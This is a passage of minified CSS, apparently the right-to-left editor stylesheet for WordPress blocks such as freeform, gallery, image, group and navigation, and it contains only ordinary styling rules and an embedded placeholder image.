dashed;box-sizing:border-box;opacity:.25}.wp-block-form-submission-notification.is-selected>*,.wp-block-form-submission-notification:has(.is-selected)>*{background:none;opacity:1}.wp-block-form-submission-notification.is-selected:after,.wp-block-form-submission-notification:has(.is-selected):after{display:none!important}.wp-block-form-submission-notification:after{align-items:center;display:flex;font-size:1.1em;height:100%;justify-content:center;position:absolute;right:0;top:0;width:100%}.wp-block-form-submission-notification.form-notification-type-success:after{content:attr(data-message-success)}.wp-block-form-submission-notification.form-notification-type-error:after{content:attr(data-message-error)}.wp-block-freeform.block-library-rich-text__tinymce{height:auto}.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{line-height:1.8}.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{margin-right:0;padding-right:2.5em}.wp-block-freeform.block-library-rich-text__tinymce blockquote{border-right:4px solid #000;box-shadow:inset 0 0 0 0 #ddd;margin:0;padding-right:1em}.wp-block-freeform.block-library-rich-text__tinymce pre{color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;white-space:pre-wrap}.wp-block-freeform.block-library-rich-text__tinymce>:first-child{margin-top:0}.wp-block-freeform.block-library-rich-text__tinymce>:last-child{margin-bottom:0}.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce a{color:var(--wp-admin-theme-color)}.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{background:#e5f5fa;border-radius:2px;box-shadow:0 0 0 1px #e5f5fa;margin:0 -2px;padding:0 2px}.wp-block-freeform.block-library-rich-text__tinymce code{background:#f0f0f0;border-radius:2px;color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:14px;padding:2px}.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{background:#ddd}.wp-block-freeform.block-library-rich-text__tinymce .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-freeform.block-library-rich-text__tinymce .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);background-position:50%;background-repeat:no-repeat;background-size:1900px 20px;cursor:default;display:block;height:20px;margin:15px auto;outline:0;width:96%}.wp-block-freeform.block-library-rich-text__tinymce img::selection{background-color:initial}.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{-ms-user-select:element}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{margin:0;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{display:block}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{-webkit-user-drag:none}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{margin:0;padding-top:.5em}.wp-block-freeform.block-library-rich-text__tinymce .wpview{border:1px solid #0000;clear:both;margin-bottom:16px;position:relative;width:99.99%}.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{background:#0000;display:block;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{display:none}.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{border:1px dashed #ddd;padding:10px}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{border:1px solid #ddd;margin:0;padding:1em 0;word-wrap:break-word}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{margin:0;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{border-color:#0000}.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{display:block;font-size:32px;height:32px;margin:0 auto;width:32px}.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{clear:both;content:"";display:table}.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce .gallery a{cursor:default}.wp-block-freeform.block-library-rich-text__tinymce .gallery{line-height:1;margin:auto -6px;overflow-x:hidden;padding:6px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{box-sizing:border-box;float:right;margin:0;padding:6px;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{margin:0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{font-size:13px;margin:4px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{width:100%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{width:50%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{width:33.3333333333%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{width:25%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{width:20%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{width:16.6666666667%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{width:14.2857142857%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{width:12.5%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{width:11.1111111111%}.wp-block-freeform.block-library-rich-text__tinymce .gallery img{border:none;height:auto;max-width:100%;padding:0}div[data-type="core/freeform"]:before{border:1px solid #ddd;outline:1px solid #0000;transition:border-color .1s linear,box-shadow .1s linear}@media (prefers-reduced-motion:reduce){div[data-type="core/freeform"]:before{transition-delay:0s;transition-duration:0s}}div[data-type="core/freeform"].is-selected:before{border-color:#1e1e1e}div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{margin-top:0;padding-top:0}div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{clear:both;content:"";display:table}.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{color:#1e1e1e}.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{margin-left:0;margin-right:8px}.mce-toolbar-grp .mce-btn i{font-style:normal}.block-library-classic__toolbar{border:1px solid #ddd;border-bottom:none;border-radius:2px;display:none;margin:0 0 8px;padding:0;position:sticky;top:0;width:auto;z-index:31}div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{border-color:#1e1e1e;display:block}.block-library-classic__toolbar .mce-tinymce{box-shadow:none}@media (min-width:600px){.block-library-classic__toolbar{padding:0}}.block-library-classic__toolbar:empty{background:#f5f5f5;border-bottom:1px solid #e2e4e7;display:block}.block-library-classic__toolbar:empty:before{color:#555d66;content:attr(data-placeholder);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:37px;padding:14px}.block-library-classic__toolbar div.mce-toolbar-grp{border-bottom:1px solid #1e1e1e}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{height:auto!important;width:100%!important}.block-library-classic__toolbar .mce-container-body.mce-abs-layout{overflow:visible}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{position:static}.block-library-classic__toolbar .mce-toolbar-grp>div{padding:1px 3px}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{height:50vh!important}@media (min-width:960px){.block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){height:9999rem}.block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{height:100%}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{height:calc(100% - 52px)}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{display:flex;flex-direction:column;height:100%;min-width:50vw}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{display:flex;flex-direction:column;flex-grow:1}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{flex-grow:1;height:10px!important}}.block-editor-freeform-modal__actions{margin-top:16px}figure.wp-block-gallery{display:block}figure.wp-block-gallery>.blocks-gallery-caption{flex:0 0 100%}figure.wp-block-gallery>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}figure.wp-block-gallery .wp-block-image .components-notice.is-error{display:block}figure.wp-block-gallery .wp-block-image .components-notice__content{margin:4px 0}figure.wp-block-gallery .wp-block-image .components-notice__dismiss{left:5px;position:absolute;top:0}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}figure.wp-block-gallery .block-editor-media-placeholder{margin:0}figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label{display:flex}figure.wp-block-gallery .block-editor-media-placeholder figcaption{z-index:2}figure.wp-block-gallery .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.gallery-settings-buttons .components-button:first-child{margin-left:8px}.gallery-image-sizes .components-base-control__label{display:block;margin-bottom:4px}.gallery-image-sizes .gallery-image-sizes__loading{align-items:center;color:#757575;display:flex;font-size:12px}.gallery-image-sizes .components-spinner{margin:0 4px 0 8px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{bottom:0;box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";left:0;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{display:inline-flex}.blocks-gallery-item .block-editor-media-placeholder{height:100%;margin:0}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.block-library-gallery-item__inline-menu{background:#fff;border:1px solid #1e1e1e;border-radius:2px;display:none;margin:8px;position:absolute;top:-2px;transition:box-shadow .2s ease-out;z-index:20}@media (prefers-reduced-motion:reduce){.block-library-gallery-item__inline-menu{transition-delay:0s;transition-duration:0s}}.block-library-gallery-item__inline-menu:hover{box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{padding:2px}}.block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){border:none;box-shadow:none}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{height:inherit;padding:0;width:inherit}}.block-library-gallery-item__inline-menu.is-left{right:-2px}.block-library-gallery-item__inline-menu.is-right{left:-2px}.wp-block-gallery ul.blocks-gallery-grid{margin:0;padding:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.wp-block-group .block-editor-block-list__insertion-point{left:0;right:0}[data-type="core/group"].is-selected .block-list-appender{margin-left:0;margin-right:0}[data-type="core/group"].is-selected .has-background .block-list-appender{margin-bottom:18px;margin-top:18px}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{gap:inherit;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{display:inherit;flex:1;flex-direction:inherit;width:100%}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{border:1px dashed;border-radius:2px;content:"";display:flex;flex:1 0 48px;min-height:46px;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{pointer-events:all}.wp-block-group__placeholder .wp-block-group-placeholder__variations{display:flex;flex-direction:row;flex-wrap:wrap;justify-content:center;list-style:none;margin:0;padding:0;width:100%}.wp-block-group__placeholder .components-placeholder__instructions{margin-bottom:18px;text-align:center}.wp-block-group__placeholder .wp-block-group-placeholder__variations svg{fill:#ccc!important}.wp-block-group__placeholder .wp-block-group-placeholder__variations svg:hover{fill:var(--wp-admin-theme-color)!important}.wp-block-group__placeholder .wp-block-group-placeholder__variations>li{align-items:center;display:flex;flex-direction:column;margin:0 12px 12px;width:auto}.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button{height:32px;padding:0;width:44px}.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button:hover{box-shadow:none}.wp-block-group__placeholder .components-placeholder{min-height:auto;padding:24px}.wp-block-group__placeholder .is-medium .wp-block-group-placeholder__variations>li,.wp-block-group__placeholder .is-small .wp-block-group-placeholder__variations>li{margin:12px}.block-library-html__edit .block-library-html__preview-overlay{height:100%;position:absolute;right:0;top:0;width:100%}.block-library-html__edit .block-editor-plain-text{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important}@media (min-width:600px){.block-library-html__edit .block-editor-plain-text{font-size:13px!important}}.block-library-html__edit .block-editor-plain-text:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important}.wp-block-image.wp-block-image.is-selected .components-placeholder{background-color:#fff;border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;filter:none!important}.wp-block-image.wp-block-image.is-selected .components-placeholder>svg{opacity:0}.wp-block-image.wp-block-image.is-selected .components-placeholder .components-placeholder__illustration{display:none}.wp-block-image.wp-block-image .block-bindings-media-placeholder-message,.wp-block-image.wp-block-image.is-selected .components-placeholder:before{opacity:0}.wp-block-image.wp-block-image.is-selected .block-bindings-media-placeholder-message{opacity:1}.wp-block-image.wp-block-image .components-button,.wp-block-image.wp-block-image .components-placeholder__instructions,.wp-block-image.wp-block-image .components-placeholder__label{transition:none}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}.wp-block-image .components-resizable-box__container{display:table}.wp-block-image .components-resizable-box__container img{display:block;height:inherit;width:inherit}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{left:0;margin:-1px 0;position:absolute;right:0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{caption-side:bottom;display:table-caption}.wp-block[data-align=left]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=right]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block-image__crop-area{max-width:100%;overflow:hidden;position:relative;width:100%}.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{border:none;border-radius:0}.wp-block-image__crop-icon{align-items:center;display:flex;justify-content:center;min-width:48px;padding:0 8px}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{min-width:260px;overflow:visible!important}.wp-block-image__aspect-ratio{align-items:center;display:flex;height:46px;margin-bottom:-8px}.wp-block-image__aspect-ratio .components-button{padding-left:0;padding-right:0;width:36px}.wp-block-image__toolbar_content_textarea{width:250px}.wp-block-latest-posts{padding-right:2.5em}.wp-block-latest-posts.is-grid{padding-right:0}.wp-block-latest-posts>li{overflow:hidden}.wp-block-latest-posts li a>div{display:inline}.edit-post-visual-editor .wp-block-latest-posts.is-grid li{margin-bottom:20px}.editor-latest-posts-image-alignment-control .components-base-control__label{display:block}.editor-latest-posts-image-alignment-control .components-toolbar{border-radius:2px}.wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}.block-editor-block-list__block[data-type="core/more"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more input[type=text]{background:#fff;border:none;border-radius:4px;box-shadow:none;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;margin:0;max-width:100%;padding:6px 8px;position:relative;text-align:center;text-transform:uppercase;white-space:nowrap}.wp-block-more input[type=text]:focus{box-shadow:none}.wp-block-more:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}.editor-styles-wrapper .wp-block-navigation ul{margin-bottom:0;margin-right:0;margin-top:0;padding-right:0}.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{margin:revert}.wp-block-navigation-item__label{display:inline}.wp-block-navigation-item,.wp-block-navigation__container{background-color:inherit}.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{opacity:0;visibility:hidden}.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{display:flex;opacity:1;visibility:visible}.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{opacity:1;visibility:visible}.is-editing>.wp-block-navigation__container{display:flex;flex-direction:column;opacity:1;visibility:visible}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{opacity:1;visibility:hidden}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{visibility:visible}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{display:block;position:static;width:100%}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{background:#1e1e1e;border-radius:2px;color:#fff;margin-left:0;margin-right:auto;padding:0;width:24px}.wp-block-navigation__submenu-container .block-list-appender{display:none}.block-library-colors-selector{width:auto}.block-library-colors-selector .block-library-colors-selector__toggle{display:block;margin:0 auto;padding:3px;width:auto}.block-library-colors-selector .block-library-colors-selector__icon-container{align-items:center;border-radius:4px;display:flex;height:30px;margin:0 auto;padding:3px;position:relative}.block-library-colors-selector .block-library-colors-selector__state-selection{border-radius:11px;box-shadow:inset 0 0 0 1px #0003;height:22px;line-height:20px;margin-left:auto;margin-right:auto;min-height:22px;min-width:22px;padding:2px;width:22px}.block-library-colors-selector .block-library-colors-selector__state-selection>svg{min-width:auto!important}.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{color:inherit}.block-library-colors-selector__popover .color-palette-controller-container{padding:16px}.block-library-colors-selector__popover .components-base-control__label{height:20px;line-height:20px}.block-library-colors-selector__popover .component-color-indicator{float:left;margin-top:2px}.block-library-colors-selector__popover .components-panel__body-title{display:none}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{background-color:#1e1e1e;color:#fff}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{padding:0}.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{background-color:initial;color:#1e1e1e}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}}.components-placeholder.wp-block-navigation-placeholder{background:none;box-shadow:none;color:inherit;min-height:0;outline:none;padding:0}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{font-size:inherit}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{margin-bottom:0}.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{color:#1e1e1e}.wp-block-navigation-placeholder__preview{align-items:center;background:#0000;color:currentColor;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;min-width:96px}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{display:none}.wp-block-navigation-placeholder__preview:before{border:1px dashed;border-radius:2px;border-radius:inherit;bottom:0;content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview:before:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview>svg{fill:currentColor}.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{min-height:90px}.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{min-height:132px}.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{align-items:flex-start;flex-direction:row;padding:6px 8px}.wp-block-navigation-placeholder__controls{background-color:#fff;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:none;float:right;position:relative;width:100%;z-index:1}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{display:flex}.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{display:none}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{align-items:flex-start;flex-direction:column}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{display:none}.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{height:36px;margin-left:12px}.wp-block-navigation-placeholder__actions__indicator{align-items:center;display:flex;height:36px;justify-content:flex-start;line-height:0;margin-right:4px;padding:0 0 0 6px}.wp-block-navigation-placeholder__actions__indicator svg{margin-left:4px;fill:currentColor}.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{flex-direction:row!important}.wp-block-navigation-placeholder__actions{align-items:center;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;gap:6px;height:100%}.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{margin-left:0}.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{background-color:#1e1e1e;border:0;height:100%;margin:auto 0;max-height:16px;min-height:1px;min-width:1px}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{display:none}}.wp-block-navigation__responsive-container.is-menu-open{position:fixed;top:155px}@media (min-width:782px){.wp-block-navigation__responsive-container.is-menu-open{right:36px;top:93px}}@media (min-width:960px){.wp-block-navigation__responsive-container.is-menu-open{right:160px}}@media (min-width:782px){.has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:141px}}.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:141px}.is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open{left:280px}.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{right:0;top:155px}@media (min-width:782px){.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{top:61px}.is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:109px}}.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:109px}body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{bottom:0;left:0;right:0;top:0}.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{color:inherit;height:auto;padding:0}.components-heading.wp-block-navigation-off-canvas-editor__title{margin:0}.wp-block-navigation-off-canvas-editor__header{margin-bottom:8px}.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{margin-top:16px}@keyframes fadein{0%{opacity:0}to{opacity:1}}.wp-block-navigation__loading-indicator-container{padding:8px 12px}.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{margin-top:0}@keyframes fadeouthalf{0%{opacity:1}to{opacity:.5}}.wp-block-navigation-delete-menu-button{justify-content:center;margin-bottom:16px;width:100%}.components-button.is-link.wp-block-navigation-manage-menus-button{margin-bottom:16px}.wp-block-navigation__overlay-menu-preview{align-items:center;background-color:#f0f0f0;display:flex;height:64px;justify-content:space-between;margin-bottom:12px;padding:0 24px;width:100%}.wp-block-navigation__overlay-menu-preview.open{background-color:#fff;box-shadow:inset 0 0 0 1px #e0e0e0;outline:1px solid #0000}.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{display:none}.wp-block-navigation__navigation-selector{margin-bottom:16px;width:100%}.wp-block-navigation__navigation-selector-button{border:1px solid;justify-content:space-between;width:100%}.wp-block-navigation__navigation-selector-button__icon{flex:0 0 auto}.wp-block-navigation__navigation-selector-button__label{flex:0 1 auto;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-block-navigation__navigation-selector-button--createnew{border:1px solid;margin-bottom:16px;width:100%}.wp-block-navigation__responsive-container-open.components-button{opacity:1}.wp-block-navigation__menu-inspector-controls{overflow-x:auto;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin;will-change:transform}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{height:12px;width:12px}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{background-color:initial}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid 